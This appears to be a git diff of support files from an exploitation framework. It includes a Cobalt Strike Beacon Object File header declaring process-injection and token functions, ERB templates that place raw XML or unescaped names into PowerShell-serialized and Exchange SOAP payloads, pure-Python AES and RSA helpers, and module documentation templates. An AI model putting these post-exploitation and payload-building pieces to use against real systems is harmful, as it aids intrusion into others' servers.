# - AUDIT_SCORE
|
||||
# - USER_SCORE
|
||||
# - SCORE_DESCRIPTION
|
||||
# - ENTITY_ID
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1021 B |
Executable
+10
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
+2
@@ -71,6 +71,8 @@
|
||||
<B N="V"><%= arg[:value].to_s %></B>
|
||||
<% elsif arg[:value].is_a? String %>
|
||||
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
|
||||
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
|
||||
<%= arg[:value].to_s %>
|
||||
<% end %>
|
||||
</MS>
|
||||
</Obj>
|
||||
+1
-1
@@ -8,7 +8,7 @@
|
||||
</soap:Header>
|
||||
<soap:Body>
|
||||
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
|
||||
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
|
||||
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
|
||||
</m:ResolveNames>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
+41725
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,69 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
@@ -15,7 +15,7 @@
|
||||
<% end %>
|
||||
|
||||
## Module Ranking
|
||||
<%# https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking %>
|
||||
<%# https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html %>
|
||||
|
||||
**<%= items[:mod_rank_name] %>**
|
||||
|
||||
@@ -47,7 +47,7 @@
|
||||
<% end %>
|
||||
|
||||
## Module Traits
|
||||
<%# https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability %>
|
||||
<%# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html %>
|
||||
|
||||
<% unless items[:mod_side_effects].empty? %>
|
||||
### Side Effects
|
||||
@@ -117,6 +117,13 @@
|
||||
|
||||
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
|
||||
|
||||
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
|
||||
<% unless attacker_kb_references.empty? %>
|
||||
## AttackerKB references
|
||||
|
||||
<%= attacker_kb_references %>
|
||||
<% end %>
|
||||
|
||||
<% unless items[:mod_refs].empty? %>
|
||||
## References
|
||||
|
||||
|
||||
@@ -5,4 +5,4 @@ msf <%= mod.type %>(<%= mod.shortname %>) > show options
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > generate
|
||||
```
|
||||
|
||||
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).
|
||||
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html).
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,229 @@
|
||||
import copy
|
||||
import struct
|
||||
import sys
|
||||
|
||||
|
||||
def chunks(lst, n):
|
||||
for i in range(0, len(lst), n):
|
||||
yield lst[i:i + n]
|
||||
|
||||
|
||||
def _cw(word):
|
||||
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
|
||||
|
||||
|
||||
def _s2b(text):
|
||||
return list(ord(c)for c in text)
|
||||
|
||||
|
||||
def _b2s(binary):
|
||||
return "".join(chr(b)for b in binary)
|
||||
|
||||
|
||||
if sys.version_info[0] >= 3:
|
||||
xrange = range
|
||||
|
||||
def _s2b(text):
|
||||
if isinstance(text, bytes):
|
||||
return text
|
||||
return [ord(c)for c in text]
|
||||
|
||||
def _b2s(binary):
|
||||
return bytes(binary)
|
||||
else:
|
||||
def bytes(s, e): return s
|
||||
|
||||
|
||||
def _gmul(a, b):
|
||||
r = 0
|
||||
while b:
|
||||
if b & 1:
|
||||
r ^= a
|
||||
a <<= 1
|
||||
if a > 255:
|
||||
a ^= 0x11B
|
||||
b >>= 1
|
||||
return r
|
||||
|
||||
|
||||
def _mix(n, vec):
|
||||
return sum(_gmul(n, v) << (24 - 8 * shift) for shift, v in enumerate(vec))
|
||||
|
||||
|
||||
def _ror32(n):
|
||||
return (n & 255) << 24 | n >> 8
|
||||
|
||||
|
||||
def _rcon():
|
||||
return [_gmul(1, 1 << n) for n in range(30)]
|
||||
|
||||
|
||||
def _Si(S):
|
||||
return [S.index(n) for n in range(len(S))]
|
||||
|
||||
|
||||
def _mixl(S, vec):
|
||||
return [_mix(s, vec) for s in S]
|
||||
|
||||
|
||||
def _rorl(T):
|
||||
return [_ror32(t) for t in T]
|
||||
|
||||
|
||||
empty = struct.pack('')
|
||||
|
||||
|
||||
class AESCBC(object):
|
||||
nrs = {16: 10, 24: 12, 32: 14}
|
||||
rcon = _rcon()
|
||||
S = [
|
||||
99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171,
|
||||
118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156,
|
||||
164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241,
|
||||
113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
|
||||
235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179,
|
||||
41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57,
|
||||
74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127,
|
||||
80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218,
|
||||
33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167,
|
||||
126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238,
|
||||
184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
|
||||
172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108,
|
||||
86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
|
||||
232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246,
|
||||
14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
|
||||
142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191,
|
||||
230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22
|
||||
]
|
||||
Si = _Si(S)
|
||||
T1 = _mixl(S, (2, 1, 1, 3))
|
||||
T2 = _rorl(T1)
|
||||
T3 = _rorl(T2)
|
||||
T4 = _rorl(T3)
|
||||
T5 = _mixl(Si, (14, 9, 13, 11))
|
||||
T6 = _rorl(T5)
|
||||
T7 = _rorl(T6)
|
||||
T8 = _rorl(T7)
|
||||
U1 = _mixl(range(256), (14, 9, 13, 11))
|
||||
U2 = _rorl(U1)
|
||||
U3 = _rorl(U2)
|
||||
U4 = _rorl(U3)
|
||||
|
||||
def __init__(self, key):
|
||||
if len(key)not in (16, 24, 32):
|
||||
raise ValueError('Invalid key size')
|
||||
rds = self.nrs[len(key)]
|
||||
self._Ke = [[0] * 4 for i in xrange(rds + 1)]
|
||||
self._Kd = [[0] * 4 for i in xrange(rds + 1)]
|
||||
rnd_kc = (rds + 1) * 4
|
||||
KC = len(key) // 4
|
||||
tk = [struct.unpack('>i', key[i:i + 4])[0]
|
||||
for i in xrange(0, len(key), 4)]
|
||||
rconpointer = 0
|
||||
t = KC
|
||||
for i in xrange(0, KC):
|
||||
self._Ke[i // 4][i % 4] = tk[i]
|
||||
self._Kd[rds - (i // 4)][i % 4] = tk[i]
|
||||
while t < rnd_kc:
|
||||
tt = tk[KC - 1]
|
||||
tk[0] ^= ((self.S[(tt >> 16) & 255] << 24) ^ (self.S[(tt >> 8) & 255] << 16) ^ (
|
||||
self.S[tt & 255] << 8) ^ self.S[(tt >> 24) & 255] ^ (self.rcon[rconpointer] << 24))
|
||||
rconpointer += 1
|
||||
if KC != 8:
|
||||
for i in xrange(1, KC):
|
||||
tk[i] ^= tk[i - 1]
|
||||
else:
|
||||
for i in xrange(1, KC // 2):
|
||||
tk[i] ^= tk[i - 1]
|
||||
tt = tk[KC // 2 - 1]
|
||||
tk[KC // 2] ^= (self.S[tt & 255] ^ (self.S[(tt >> 8) & 255] << 8) ^
|
||||
(self.S[(tt >> 16) & 255] << 16) ^ (self.S[(tt >> 24) & 255] << 24))
|
||||
for i in xrange(KC // 2 + 1, KC):
|
||||
tk[i] ^= tk[i - 1]
|
||||
j = 0
|
||||
while j < KC and t < rnd_kc:
|
||||
self._Ke[t // 4][t % 4] = tk[j]
|
||||
self._Kd[rds - (t // 4)][t % 4] = tk[j]
|
||||
j += 1
|
||||
t += 1
|
||||
for r in xrange(1, rds):
|
||||
for j in xrange(0, 4):
|
||||
tt = self._Kd[r][j]
|
||||
self._Kd[r][j] = (self.U1[(tt >> 24) & 255] ^ self.U2[(
|
||||
tt >> 16) & 255] ^ self.U3[(tt >> 8) & 255] ^ self.U4[tt & 255])
|
||||
|
||||
def _encdec(self, data, K, s, S, L1, L2, L3, L4):
|
||||
if len(data) != 16:
|
||||
raise ValueError('wrong block length')
|
||||
rds = len(K) - 1
|
||||
(s1, s2, s3) = s
|
||||
a = [0, 0, 0, 0]
|
||||
t = [(_cw(data[4 * i:4 * i + 4]) ^ K[0][i])for i in xrange(0, 4)]
|
||||
for r in xrange(1, rds):
|
||||
for i in xrange(0, 4):
|
||||
a[i] = L1[(t[i] >> 24) & 255]
|
||||
a[i] ^= L2[(t[(i + s1) % 4] >> 16) & 255]
|
||||
a[i] ^= L3[(t[(i + s2) % 4] >> 8) & 255]
|
||||
a[i] ^= L4[t[(i + s3) % 4] & 255] ^ K[r][i]
|
||||
t = copy.copy(a)
|
||||
rst = []
|
||||
for i in xrange(0, 4):
|
||||
tt = K[rds][i]
|
||||
rst.append((S[(t[i] >> 24) & 255] ^ (tt >> 24)) & 255)
|
||||
rst.append((S[(t[(i + s1) % 4] >> 16) & 255] ^ (tt >> 16)) & 255)
|
||||
rst.append((S[(t[(i + s2) % 4] >> 8) & 255] ^ (tt >> 8)) & 255)
|
||||
rst.append((S[t[(i + s3) % 4] & 255] ^ tt) & 255)
|
||||
return rst
|
||||
|
||||
def enc_in(self, pt):
|
||||
return self._encdec(
|
||||
pt, self._Ke, [
|
||||
1, 2, 3], self.S, self.T1, self.T2, self.T3, self.T4)
|
||||
|
||||
def dec_in(self, ct):
|
||||
return self._encdec(
|
||||
ct, self._Kd, [
|
||||
3, 2, 1], self.Si, self.T5, self.T6, self.T7, self.T8)
|
||||
|
||||
def pad(self, pt):
|
||||
c = 16 - (len(pt) % 16)
|
||||
return pt + bytes(chr(c) * c, 'utf-8')
|
||||
|
||||
def unpad(self, pt):
|
||||
c = pt[-1]
|
||||
if not isinstance(c, int):
|
||||
c = ord(c)
|
||||
return pt[:-c]
|
||||
|
||||
def encrypt(self, iv, pt):
|
||||
if len(iv) != 16:
|
||||
raise ValueError('initialization vector must be 16 bytes')
|
||||
else:
|
||||
self._lcb = _s2b(iv)
|
||||
pt = self.pad(pt)
|
||||
return empty.join([self.enc_b(b)for b in chunks(pt, 16)])
|
||||
|
||||
def enc_b(self, pt):
|
||||
if len(pt) != 16:
|
||||
raise ValueError('plaintext block must be 16 bytes')
|
||||
pt = _s2b(pt)
|
||||
pcb = [(p ^ l)for (p, l) in zip(pt, self._lcb)]
|
||||
self._lcb = self.enc_in(pcb)
|
||||
return _b2s(self._lcb)
|
||||
|
||||
def decrypt(self, iv, ct):
|
||||
if len(iv) != 16:
|
||||
raise ValueError('initialization vector must be 16 bytes')
|
||||
else:
|
||||
self._lcb = _s2b(iv)
|
||||
if len(ct) % 16 != 0:
|
||||
raise ValueError('ciphertext must be a multiple of 16')
|
||||
return self.unpad(empty.join([self.dec_b(b)for b in chunks(ct, 16)]))
|
||||
|
||||
def dec_b(self, ct):
|
||||
if len(ct) != 16:
|
||||
raise ValueError('ciphertext block must be 16 bytes')
|
||||
cb = _s2b(ct)
|
||||
pt = [(p ^ l)for (p, l) in zip(self.dec_in(cb), self._lcb)]
|
||||
self._lcb = cb
|
||||
return _b2s(pt)
|
||||
@@ -0,0 +1,77 @@
|
||||
import sys
|
||||
import math
|
||||
import random
|
||||
import binascii as ba
|
||||
import os
|
||||
from struct import unpack as u
|
||||
from struct import pack
|
||||
is2 = sys.version_info[0] < 3
|
||||
|
||||
|
||||
def bt(b):
|
||||
if is2:
|
||||
return b
|
||||
return ord(b)
|
||||
|
||||
|
||||
def b2i(b):
|
||||
return int(ba.b2a_hex(b), 16)
|
||||
|
||||
|
||||
def i2b(i):
|
||||
h = '%x' % i
|
||||
if len(h) % 2 == 1:
|
||||
h = '0' + h
|
||||
if not is2:
|
||||
h = h.encode('utf-8')
|
||||
return ba.a2b_hex(h)
|
||||
|
||||
|
||||
def rs(a, o):
|
||||
if a[o] == bt(pack('B', 0x81)):
|
||||
return (u('B', a[o + 1])[0], 2 + o)
|
||||
elif a[o] == bt(pack('B', 0x82)):
|
||||
return (u('>H', a[o + 1:o + 3])[0], 3 + o)
|
||||
|
||||
|
||||
def ri(b, o):
|
||||
i, o = rs(b, o)
|
||||
return (b[o:o + i], o + i)
|
||||
|
||||
|
||||
def b2me(b):
|
||||
if b[0] != bt(pack('B', 0x30)):
|
||||
return (None, None)
|
||||
_, o = rs(b, 1)
|
||||
if b[o] != bt(pack('B', 2)):
|
||||
return (None, None)
|
||||
(m, o) = ri(b, o + 1)
|
||||
if b[o] != bt(pack('B', 2)):
|
||||
return (None, None)
|
||||
e = b[o + 2:]
|
||||
return (b2i(m), b2i(e))
|
||||
|
||||
|
||||
def der2me(d):
|
||||
if d[0] != bt(pack('B', 0x30)):
|
||||
return (None, None)
|
||||
_, o = rs(d, 1)
|
||||
while o < len(d):
|
||||
if d[o] == bt(pack('B', 0x30)):
|
||||
o += u('B', d[o + 1:o + 2])[0]
|
||||
elif d[o] == bt(pack('B', 0x05)):
|
||||
o += 2
|
||||
elif d[o] == bt(pack('B', 0x03)):
|
||||
_, o = rs(d, o + 1)
|
||||
return b2me(d[o + 1:])
|
||||
else:
|
||||
return (None, None)
|
||||
|
||||
|
||||
def rsa_enc(der, msg):
|
||||
m, e = der2me(der)
|
||||
h = pack('BB', 0, 2)
|
||||
d = pack('B', 0)
|
||||
l = 256 - len(h) - len(msg) - len(d)
|
||||
p = os.urandom(512).replace(pack('B', 0), pack(''))
|
||||
return i2b(pow(b2i(h + p[:l] + d + msg), e, m))
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
+276
-175
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
|
||||
$someText = "Hello!" ; $someText > "C:\flag.txt"
|
||||
|
||||
@@ -0,0 +1,615 @@
|
||||
[
|
||||
"V3_0_0_SNAPSHOT",
|
||||
"V3_0_0_ALPHA1",
|
||||
"V3_0_0_BETA1",
|
||||
"V3_0_0_BETA2",
|
||||
"V3_0_0_BETA3",
|
||||
"V3_0_0_BETA4",
|
||||
"V3_0_0_BETA5",
|
||||
"V3_0_0_BETA6_SNAPSHOT",
|
||||
"V3_0_0_BETA6",
|
||||
"V3_0_0_BETA7_SNAPSHOT",
|
||||
"V3_0_0_BETA7",
|
||||
"V3_0_0_BETA8_SNAPSHOT",
|
||||
"V3_0_0_BETA8",
|
||||
"V3_0_0_BETA9_SNAPSHOT",
|
||||
"V3_0_0_BETA9",
|
||||
"V3_0_0_FINAL",
|
||||
"V3_0_1_SNAPSHOT",
|
||||
"V3_0_1",
|
||||
"V3_0_2_SNAPSHOT",
|
||||
"V3_0_2",
|
||||
"V3_0_3_SNAPSHOT",
|
||||
"V3_0_3",
|
||||
"V3_0_4_SNAPSHOT",
|
||||
"V3_0_4",
|
||||
"V3_0_5_SNAPSHOT",
|
||||
"V3_0_5",
|
||||
"V3_0_6_SNAPSHOT",
|
||||
"V3_0_6",
|
||||
"V3_0_7_SNAPSHOT",
|
||||
"V3_0_7",
|
||||
"V3_0_8_SNAPSHOT",
|
||||
"V3_0_8",
|
||||
"V3_0_9_SNAPSHOT",
|
||||
"V3_0_9",
|
||||
"V3_0_10_SNAPSHOT",
|
||||
"V3_0_10",
|
||||
"V3_0_11_SNAPSHOT",
|
||||
"V3_0_11",
|
||||
"V3_0_12_SNAPSHOT",
|
||||
"V3_0_12",
|
||||
"V3_0_13_SNAPSHOT",
|
||||
"V3_0_13",
|
||||
"V3_0_14_SNAPSHOT",
|
||||
"V3_0_14",
|
||||
"V3_0_15_SNAPSHOT",
|
||||
"V3_0_15",
|
||||
"V3_1_0_SNAPSHOT",
|
||||
"V3_1_0",
|
||||
"V3_1_1_SNAPSHOT",
|
||||
"V3_1_1",
|
||||
"V3_1_2_SNAPSHOT",
|
||||
"V3_1_2",
|
||||
"V3_1_3_SNAPSHOT",
|
||||
"V3_1_3",
|
||||
"V3_1_4_SNAPSHOT",
|
||||
"V3_1_4",
|
||||
"V3_1_5_SNAPSHOT",
|
||||
"V3_1_5",
|
||||
"V3_1_6_SNAPSHOT",
|
||||
"V3_1_6",
|
||||
"V3_1_7_SNAPSHOT",
|
||||
"V3_1_7",
|
||||
"V3_1_8_SNAPSHOT",
|
||||
"V3_1_8",
|
||||
"V3_1_9_SNAPSHOT",
|
||||
"V3_1_9",
|
||||
"V3_2_0_SNAPSHOT",
|
||||
"V3_2_0",
|
||||
"V3_2_1_SNAPSHOT",
|
||||
"V3_2_1",
|
||||
"V3_2_2_SNAPSHOT",
|
||||
"V3_2_2",
|
||||
"V3_2_3_SNAPSHOT",
|
||||
"V3_2_3",
|
||||
"V3_2_4_SNAPSHOT",
|
||||
"V3_2_4",
|
||||
"V3_2_5_SNAPSHOT",
|
||||
"V3_2_5",
|
||||
"V3_2_6_SNAPSHOT",
|
||||
"V3_2_6",
|
||||
"V3_2_7_SNAPSHOT",
|
||||
"V3_2_7",
|
||||
"V3_2_8_SNAPSHOT",
|
||||
"V3_2_8",
|
||||
"V3_2_9_SNAPSHOT",
|
||||
"V3_2_9",
|
||||
"V3_3_1_SNAPSHOT",
|
||||
"V3_3_1",
|
||||
"V3_3_2_SNAPSHOT",
|
||||
"V3_3_2",
|
||||
"V3_3_3_SNAPSHOT",
|
||||
"V3_3_3",
|
||||
"V3_3_4_SNAPSHOT",
|
||||
"V3_3_4",
|
||||
"V3_3_5_SNAPSHOT",
|
||||
"V3_3_5",
|
||||
"V3_3_6_SNAPSHOT",
|
||||
"V3_3_6",
|
||||
"V3_3_7_SNAPSHOT",
|
||||
"V3_3_7",
|
||||
"V3_3_8_SNAPSHOT",
|
||||
"V3_3_8",
|
||||
"V3_3_9_SNAPSHOT",
|
||||
"V3_3_9",
|
||||
"V3_4_1_SNAPSHOT",
|
||||
"V3_4_1",
|
||||
"V3_4_2_SNAPSHOT",
|
||||
"V3_4_2",
|
||||
"V3_4_3_SNAPSHOT",
|
||||
"V3_4_3",
|
||||
"V3_4_4_SNAPSHOT",
|
||||
"V3_4_4",
|
||||
"V3_4_5_SNAPSHOT",
|
||||
"V3_4_5",
|
||||
"V3_4_6_SNAPSHOT",
|
||||
"V3_4_6",
|
||||
"V3_4_7_SNAPSHOT",
|
||||
"V3_4_7",
|
||||
"V3_4_8_SNAPSHOT",
|
||||
"V3_4_8",
|
||||
"V3_4_9_SNAPSHOT",
|
||||
"V3_4_9",
|
||||
"V3_5_1_SNAPSHOT",
|
||||
"V3_5_1",
|
||||
"V3_5_2_SNAPSHOT",
|
||||
"V3_5_2",
|
||||
"V3_5_3_SNAPSHOT",
|
||||
"V3_5_3",
|
||||
"V3_5_4_SNAPSHOT",
|
||||
"V3_5_4",
|
||||
"V3_5_5_SNAPSHOT",
|
||||
"V3_5_5",
|
||||
"V3_5_6_SNAPSHOT",
|
||||
"V3_5_6",
|
||||
"V3_5_7_SNAPSHOT",
|
||||
"V3_5_7",
|
||||
"V3_5_8_SNAPSHOT",
|
||||
"V3_5_8",
|
||||
"V3_5_9_SNAPSHOT",
|
||||
"V3_5_9",
|
||||
"V3_6_1_SNAPSHOT",
|
||||
"V3_6_1",
|
||||
"V3_6_2_SNAPSHOT",
|
||||
"V3_6_2",
|
||||
"V3_6_3_SNAPSHOT",
|
||||
"V3_6_3",
|
||||
"V3_6_4_SNAPSHOT",
|
||||
"V3_6_4",
|
||||
"V3_6_5_SNAPSHOT",
|
||||
"V3_6_5",
|
||||
"V3_6_6_SNAPSHOT",
|
||||
"V3_6_6",
|
||||
"V3_6_7_SNAPSHOT",
|
||||
"V3_6_7",
|
||||
"V3_6_8_SNAPSHOT",
|
||||
"V3_6_8",
|
||||
"V3_6_9_SNAPSHOT",
|
||||
"V3_6_9",
|
||||
"V3_7_1_SNAPSHOT",
|
||||
"V3_7_1",
|
||||
"V3_7_2_SNAPSHOT",
|
||||
"V3_7_2",
|
||||
"V3_7_3_SNAPSHOT",
|
||||
"V3_7_3",
|
||||
"V3_7_4_SNAPSHOT",
|
||||
"V3_7_4",
|
||||
"V3_7_5_SNAPSHOT",
|
||||
"V3_7_5",
|
||||
"V3_7_6_SNAPSHOT",
|
||||
"V3_7_6",
|
||||
"V3_7_7_SNAPSHOT",
|
||||
"V3_7_7",
|
||||
"V3_7_8_SNAPSHOT",
|
||||
"V3_7_8",
|
||||
"V3_7_9_SNAPSHOT",
|
||||
"V3_7_9",
|
||||
"V3_8_1_SNAPSHOT",
|
||||
"V3_8_1",
|
||||
"V3_8_2_SNAPSHOT",
|
||||
"V3_8_2",
|
||||
"V3_8_3_SNAPSHOT",
|
||||
"V3_8_3",
|
||||
"V3_8_4_SNAPSHOT",
|
||||
"V3_8_4",
|
||||
"V3_8_5_SNAPSHOT",
|
||||
"V3_8_5",
|
||||
"V3_8_6_SNAPSHOT",
|
||||
"V3_8_6",
|
||||
"V3_8_7_SNAPSHOT",
|
||||
"V3_8_7",
|
||||
"V3_8_8_SNAPSHOT",
|
||||
"V3_8_8",
|
||||
"V3_8_9_SNAPSHOT",
|
||||
"V3_8_9",
|
||||
"V3_9_1_SNAPSHOT",
|
||||
"V3_9_1",
|
||||
"V3_9_2_SNAPSHOT",
